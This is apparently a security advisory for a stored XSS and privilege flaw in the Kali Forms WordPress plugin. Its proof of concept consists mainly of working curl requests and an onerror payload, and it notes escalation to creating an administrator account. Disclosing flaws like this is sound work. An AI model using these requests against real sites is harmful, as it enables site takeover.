Kali Forms < 2.4.13 – Contributor+ Stored XSS via Form Field Caption | CVE 2026-11581

Description

The plugin does not sanitise a form field's caption before outputting it as a column header on the administrator form-entries screen, allowing users with Contributor-level access or above to store JavaScript that executes in an administrator's session. A missing capability check in the plugin's post-duplication action additionally lets the Contributor publish the malicious form so an administrator renders it.

Proof of Concept

Confirmed on Kali Forms 2.4.11. Attacker: a Contributor (user id 6).

Step A - As the Contributor, create a kaliforms_forms draft via the core REST API with a JavaScript payload in a field caption (the kaliforms_field_components meta is REST-editable and has no sanitize_callback). Use the Contributor's wp_rest nonce (read from any wp-admin page) and session cookie:
curl -s -b contrib.txt -X POST "https://TARGET/index.php?rest_route=/wp/v2/kaliforms_forms" \
  -H "X-WP-Nonce: <REST_NONCE>" -H "Content-Type: application/json" \
  --data '{"title":"KF XSS PoC","status":"draft","meta":{"kaliforms_field_components":"[{\"id\":\"textbox\",\"label\":\"Text box\",\"internalId\":\"textbox0\",\"properties\":{\"id\":\"x\",\"name\":\"x\",\"caption\":\"<img src=x onerror=alert(document.domain)>\",\"description\":\"\",\"required\":false,\"readonly\":false},\"constraint\":\"none\"}]","kaliforms_grid":"[{\"i\":\"textbox0\",\"x\":0,\"y\":0,\"w\":12,\"h\":1}]"}}'
-> 201 Created, the response echoes the raw caption back in meta.kaliforms_field_components. Note the draft id.

Step B - As the same Contributor, publish that draft via the duplicate action (a Contributor cannot normally publish). Use a session-bound kaliforms nonce (get_js_var or any [kaliform] page):
curl -s -b contrib.txt "https://TARGET/wp-admin/admin-ajax.php" \
  --data "action=kaliforms_duplicate_post" \
  --data "args[nonce]=<KALI_NONCE>" \
  --data "args[id]=<DRAFT_ID>" \
  --data "args[userId]=6"
-> {"success":true,"newId":<PUBLISHED_ID>}   (the duplicate is post_status=publish)

Step C - An administrator opens the Form Entries screen for the published form:
GET /wp-admin/edit.php?post_type=kaliforms_submitted&formId=<PUBLISHED_ID>
The caption is emitted unescaped as a list-table column header, so the payload executes in the admin's session. Observed in the response:
<th scope="col" id='x' class='manage-column column-x'  ><img src=x onerror=alert(document.domain)>
(rendered twice: top and bottom headers; 0 escaped occurrences). Replacing the alert with a wp.apiFetch POST to /wp/v2/users creates a new administrator using the admin's session.